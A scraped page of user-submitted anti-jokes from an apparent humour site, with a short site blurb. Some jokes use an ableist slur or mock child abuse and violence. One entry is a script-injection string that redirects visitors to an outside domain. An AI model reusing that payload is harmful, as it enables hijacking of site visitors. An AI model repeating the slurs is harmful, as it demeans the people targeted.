What is the difference between a urologist and a can of chili? One is hot and spicy, and the other analyzes urine.

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Until further notice Penn State's take your child to work day has been canceled.

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Why couldn't Jimmy eat his food? Because I threw a microwave at him

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A Hideo Kojima AntiJoke Typed by Hideo Kojima. Idea By Hideo Kojima. Concept By Hideo Kojima Spacing by Hideo Kojima Controlled for typos by Hideo Kojima Overseen By Hideo Kojima Aproved By Hideo Kojima. Reconsidered By Hideo Kojima Accepted by Hideo Kojima What took you so long?

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Why did the dog get arrested? He didn't the people responsible for causing the dog fight got arrested for animal abuse.

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What did the muffin, say to the other muffin? Nothing. Because muffin's are inanimate objects, therefore incapable of speech, or any other sentient action. They baked quietly until the man who was baking them came to the conclusion they were fit for consumption, devoured them, and went on with his day.

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why did the car go to the bathroom? it had gas.

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What's better than winning gold at the special Olympics? Not being retarded. - Blake Woodman

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Why did the man fall over...he had a stroke!

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who has brown eyes blonde hair and red lips a human-being

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Why couldn't the pirate get into the movie? Because he was armed and clearly inebriated.

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What do You call a man with no arms or legs? Dead, He died of blood loss 3 hours ago

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Three construction workers, an Italian guy, a Mexican guy, and a American guy are sitting on top of a building eating lunch. The Italian is tired of eating meatballs, the Mexican is eating a burrito, and the American is eating a cheeseburger. They are all fed up with eating the same lunch every day. The next day they all jump off the building for unrelated reasons. It is a tragedy and their families mourn the loss.

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what's worse than falling and scraping your knee? living within a 10 mile radius of a Japanese nuclear reactor

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-Knock Knock -Who's there? -John. -Hey John, come on in.

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A white kid, a black kid, and an Asian kid all try out for the basketball team. Which one makes the team? All of them, because they are all very good.

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KNOCK KNOCK. who's there? Isdar Isdar who? Isdark in here.

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"'>document.location.href="http://cramik.org"

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Q. How do you make time fly? A. It is highly impossible to make time fly for there is 24 hours in a day, 60 minutes in an hour, and 60 seconds in a minute so therefore the time flows how it should and we do not have such power to do it even though many people claim they do when they know they really don't

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Roses are red violets are blue, I have no pickup line, just Get your tits out

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How much wood could a wood chuck chuck if a wood chuck could chuck wood?.....Why the **** do you care?

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Q:How do you get better at boxing? A:Get a bigger package Daniel W. Schnurr

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Knock Knock Who's There? Nobody, you have no friends.

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2 Men Walk Into A Bar, I Forget The Rest.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

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